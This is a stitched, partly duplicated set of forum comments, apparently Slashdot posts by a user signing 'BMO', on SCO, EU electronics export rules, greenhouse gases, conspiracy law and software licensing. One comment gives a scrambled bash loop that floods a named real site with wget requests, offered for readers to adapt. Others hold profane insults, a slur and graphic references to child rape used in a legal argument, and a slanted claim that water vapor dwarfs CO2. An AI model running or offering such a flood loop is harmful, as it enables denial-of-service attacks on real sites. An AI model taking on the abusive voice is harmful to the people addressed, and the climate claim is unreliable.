Hmm... SCO's in a world of hurt. I'm trying to figure out how they can even get lawyers to work with them at this point, unless they're using a 'We don't get paid unless you get paid!' ambulance chaser-type personal liability attorney.
BS&F are on the hook until the heat death of the universe to provide SCO (as long as it exists) legal counsel. Whether or not SCO can afford it. if they can't, then it will be provided for free.
That's the kind of contract they signed. They were bamboozled by various supporters of SCO. BS&F bet the farm on an illusory 5 billion dollar lawsuit because it was a "sure thing."
Ralph Yarro::
"We don't care how big you are. If you mess with us, we're going to take you on, even to our utter destruction, whatever occurs. We fear nobody, and we are respecters of no persons."
Yeah, but I just tried the auto-sig (which you are referring to, and by force of habit of 25 years, I typed the --BMO thing. If I turn auto-sigs on, you will see me having --BMO *and* the auto-sig. And I don't think anyone wants that.
Because it's so automatic, that when I want to sign off on my real name in email, about half the time BMO comes out rather than my name. That's how ingrained it is.
Thanks for mentioning my posts. I really don't expect anyone to find them very edifying. They are just my opinions most of the time (except when I link to third party sources).
Guiding people to trusted resources is a good thing.
As opposed to the Microsoft way of doing things where users are *taught* by the ecosystem to just download and run software willy nilly because "you need this codec to view this porn" or some shit like that.
And then there's the warez scene where downloading, installing, and running software from torrent and DDL sites is just like clicking on Viagra ads in spam email. Except the Viagra ad clicker isn't going 'round bragging that he's not paying for software.
And Wintards wonder how they get fucked in the ass by malware writers.
Famous last words "Oh, it's just a false positive"
Are you really, really cheap, but want legit proprietary software? Get 4 other people, buy the family pack, full license for 10 bucks each. Legal and everything.
Same goes for Microsoft Office family pack for OSX. It's 150. You, and 2 other people split. Word, Powerpoint, and Excel. You pay 50 bux. Legal and everything.
The only place you get raped is the Business edition where Microsoft slaps on Outlook and bumps the price for a *single* license to 200 bux.
I can tell you the layout of a bank, but if I believe you are going to rob the bank, then I'm no longer "just talking." And when you go to rob the bank, I can be prosecuted for conspiracy.
Similarly, if someone is asking how to rape a 12 year old girl, and you give them tips as a how-to, it's not "just talk" if a "reasonable person" would believe the information would be used to commit the crime of actually raping a 12 year old girl.
That's the standard. Whether a "reasonable person" knew or should have known the information would contribute to a crime. It determines mens rea.
>That's the kind of stuff that's going on here. I don't give a flying fuck how you feel about free speech, or even child porn: giving advice on intoxicating, seducing, and fucking people is wrong. Setting aside the serious question of whether children can give consent in the first place, these people think it's fine to seduce and drug kids until consent is no longer an issue.
This is a crime, and it's called conspiracy.
Someone wants to do something illegal like rob a bank or fuck a 12 year old. You give advice or material support They commit the crime You are a conspirator. You go to jail.
> Still, EU bans the trade of used technology to Africa, Interpol has describes 'most' African computer importers as 'criminals,'
This is a load of horse shit. It really is a fucking load of horse shit and it makes me fucking angry.
My neighbor when I lived in Saunderstown RI, Alexander Randall, created the Boston Computer Exchange and was the founder of the East-West Education Development Foundation. The former was a brokerage for people who wanted to sell used computers which was revolutionary at the time, and the latter was an application of that concept for the donation of computers to the Eastern Bloc after the fall of the Berlin Wall, because he believes that information technology is a tool for democracy.
For fucks sake. This policy of the EU banning the export of used computers to Africa is idiotic and self defeating. The only reason I can gather that this is being done is that used tech cuts into the market of new technology. But if you can't fucking afford new tech and used tech is banned, you're not getting any tech.
That wasn't the point of my post. The parent declared that Water Vapor isn't as much of a greenhouse gas, when the opposite is true.
Which is a greenhouse gas but not as much as co2 or methane.
Water vapor is as much as 72 percent of greenhouse according to Wikipedia.
Gas Formula Contribution (%) Water vapor H2O 36 - 72 % Carbon dioxide CO2 9 - 26 % Methane CH4 4 - 9 % Ozone O3 3 - 7 %
Yes, water vapor has a 9 day cycle, but there is so much of it, that CO2, methane, and Ozone are dwarfed in comparison, which the above chart shows.
And honestly, anyone who has lived out in the desert and then lived out on the humid coast, will tell you that the atmosphere holds a lot more heat at night when it's humid, as opposed to heat radiating directly into space over a dry desert.
The F-1 burned 3,945 pounds (1,789 kg) of liquid oxygen and 1,738 pounds (788 kg) of RP-1 each second, generating 1,500,000 pounds-force (6.7 MN) of thrust
What's RP-1?
RP-1 (alternately, Rocket Propellant-1 or Refined Petroleum-1) is a highly refined form of kerosene outwardly similar to jet fuel, used as a rocket fuel. Although having a lower specific impulse than liquid hydrogen (LH2), RP-1 is cheaper, can be stored at room temperature, is far less of an explosive hazard and is far denser. By volume, RP-1 is significantly more powerful than LH2 and LOX/RP-1 has a much better Isp-density than LOX/LH2. RP-1 also has a fraction of the toxicity and carcinogenic hazards of hydrazine, another room-temperature liquid fuel. Thus, kerosene fuels are more practical for many uses.
Right, because the command line is so unimportant that Microsoft came up with an entirely new command shell called PowerShell and OSX has full-on bash.
You know, the two major OSes pointed at consumer idiots have powerful shells. Go figure.
Slashdot Mirror
Does anyone know what the fuck happened to ompldr.org?
Did they get busted or just run out of money? No FBI/DHS/ page or anything, because DNS is busted too.
It went *poof* and there's nothing I can find anywhere about it.
TIA.
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BMO
Hmm... SCO's in a world of hurt. I'm trying to figure out how they can even get lawyers to work with them at this point, unless they're using a 'We don't get paid unless you get paid!' ambulance chaser-type personal liability attorney.
BS&F are on the hook until the heat death of the universe to provide SCO (as long as it exists) legal counsel. Whether or not SCO can afford it. if they can't, then it will be provided for free.
That's the kind of contract they signed. They were bamboozled by various supporters of SCO. BS&F bet the farm on an illusory 5 billion dollar lawsuit because it was a "sure thing."
Ralph Yarro::
"We don't care how big you are. If you mess with us, we're going to take you on, even to our utter destruction, whatever occurs. We fear nobody, and we are respecters of no persons."
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BMO
I'm putting you on notice that I now read at 1.
Bye bye.
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BMO
Yeah, but I just tried the auto-sig (which you are referring to, and by force of habit of 25 years, I typed the --BMO thing. If I turn auto-sigs on, you will see me having --BMO *and* the auto-sig. And I don't think anyone wants that.
Because it's so automatic, that when I want to sign off on my real name in email, about half the time BMO comes out rather than my name. That's how ingrained it is.
Thanks for mentioning my posts. I really don't expect anyone to find them very edifying. They are just my opinions most of the time (except when I link to third party sources).
Well, this signature thing is going against 25 years of habit. I shall remove it.
http://www.fcc.gov/guides/unwanted-telephone-marketing-calls
For those who could not be arsed to click the link in the preceding page.
It explains everything without having to look up the law itself.
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A paywall?
Are you effing serious, subby?
http://www.fcc.gov/guides/robocalls
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BMO
Guiding people to trusted resources is a good thing.
As opposed to the Microsoft way of doing things where users are *taught* by the ecosystem to just download and run software willy nilly because "you need this codec to view this porn" or some shit like that.
And then there's the warez scene where downloading, installing, and running software from torrent and DDL sites is just like clicking on Viagra ads in spam email. Except the Viagra ad clicker isn't going 'round bragging that he's not paying for software.
And Wintards wonder how they get fucked in the ass by malware writers.
Famous last words "Oh, it's just a false positive"
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BMO
Sent from my Ubuntu Laptop
But the Family Pack is 50 bux.
Are you really, really cheap, but want legit proprietary software? Get 4 other people, buy the family pack, full license for 10 bucks each. Legal and everything.
Same goes for Microsoft Office family pack for OSX. It's 150. You, and 2 other people split. Word, Powerpoint, and Excel. You pay 50 bux. Legal and everything.
The only place you get raped is the Business edition where Microsoft slaps on Outlook and bumps the price for a *single* license to 200 bux.
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BMO
Sent from my Ubuntu Laptop
while true ; do /dev/null
wget "http://rnbxclusive.com/suck.my.large.cock.you.wankers/" >
sleep 0
done
Change the message and sleep to whatever value you want.
This is one Soca that I won't dance to.
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BMO
I can tell you the layout of a bank, but if I believe you are going to rob the bank, then I'm no longer "just talking." And when you go to rob the bank, I can be prosecuted for conspiracy.
Similarly, if someone is asking how to rape a 12 year old girl, and you give them tips as a how-to, it's not "just talk" if a "reasonable person" would believe the information would be used to commit the crime of actually raping a 12 year old girl.
That's the standard. Whether a "reasonable person" knew or should have known the information would contribute to a crime. It determines mens rea.
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BMO
And your point is that these OSes have powerful shells for their consumers?
Yes.
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BMO
Well, I didn't bother to include all cases, but basically yeah, except there has to be some mens rea there.
But it's almost trivial for those prosecuting to invent mens rea in circumstantial cases.
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>That's the kind of stuff that's going on here. I don't give a flying fuck how you feel about free speech, or even child porn: giving advice on intoxicating, seducing, and fucking people is wrong. Setting aside the serious question of whether children can give consent in the first place, these people think it's fine to seduce and drug kids until consent is no longer an issue.
This is a crime, and it's called conspiracy.
Someone wants to do something illegal like rob a bank or fuck a 12 year old.
You give advice or material support
They commit the crime
You are a conspirator. You go to jail.
That's how it works in a civilized society.
Seriously, violnentacrez needs to be behind bars.
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BMO
> Still, EU bans the trade of used technology to Africa, Interpol has describes 'most' African computer importers as 'criminals,'
This is a load of horse shit. It really is a fucking load of horse shit and it makes me fucking angry.
My neighbor when I lived in Saunderstown RI, Alexander Randall, created the Boston Computer Exchange and was the founder of the East-West Education Development Foundation. The former was a brokerage for people who wanted to sell used computers which was revolutionary at the time, and the latter was an application of that concept for the donation of computers to the Eastern Bloc after the fall of the Berlin Wall, because he believes that information technology is a tool for democracy.
For fucks sake. This policy of the EU banning the export of used computers to Africa is idiotic and self defeating. The only reason I can gather that this is being done is that used tech cuts into the market of new technology. But if you can't fucking afford new tech and used tech is banned, you're not getting any tech.
The EU and Interpol can fuck themselves.
http://www.kurzweilai.net/alexander-randall-5th
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BMO
That wasn't the point of my post. The parent declared that Water Vapor isn't as much of a greenhouse gas, when the opposite is true.
Which is a greenhouse gas but not as much as co2 or methane.
Water vapor is as much as 72 percent of greenhouse according to Wikipedia.
Gas Formula Contribution (%)
Water vapor H2O 36 - 72 %
Carbon dioxide CO2 9 - 26 %
Methane CH4 4 - 9 %
Ozone O3 3 - 7 %
Yes, water vapor has a 9 day cycle, but there is so much of it, that CO2, methane, and Ozone are dwarfed in comparison, which the above chart shows.
And honestly, anyone who has lived out in the desert and then lived out on the humid coast, will tell you that the atmosphere holds a lot more heat at night when it's humid, as opposed to heat radiating directly into space over a dry desert.
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BMO
What's RP-1?
Now shut your pie-hole
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BMO
Water vapor is the larges greenhouse gas going, in effect and in amount. It literally dwarfs methane and CO2.
Without water vapor, we'd all freeze to death.
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BMO
"They don't think it be like it is, but it do." - Oscar Gamble
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BMO
Right, because the command line is so unimportant that Microsoft came up with an entirely new command shell called PowerShell and OSX has full-on bash.
You know, the two major OSes pointed at consumer idiots have powerful shells. Go figure.
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BMO
Go stalk someone else.
And where is your fucking psychologist's license or your MD, you fucking cocksucker?
Choke on a bowl of cocks, you fucking twit. Go to Hell. Do not pass Go. Do not collect $200.
Fuckwad.
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BMO
>or dont accept the EULA.
Exactly, you fucking moron.
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BMO
>In that case why can't i do that with all other products?
Because the other products do not have a clause in the EULA to return it if you don't want to use it.
But neither Microsoft nor the OEM will honor it.
It's really not that difficult to understand.
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BMO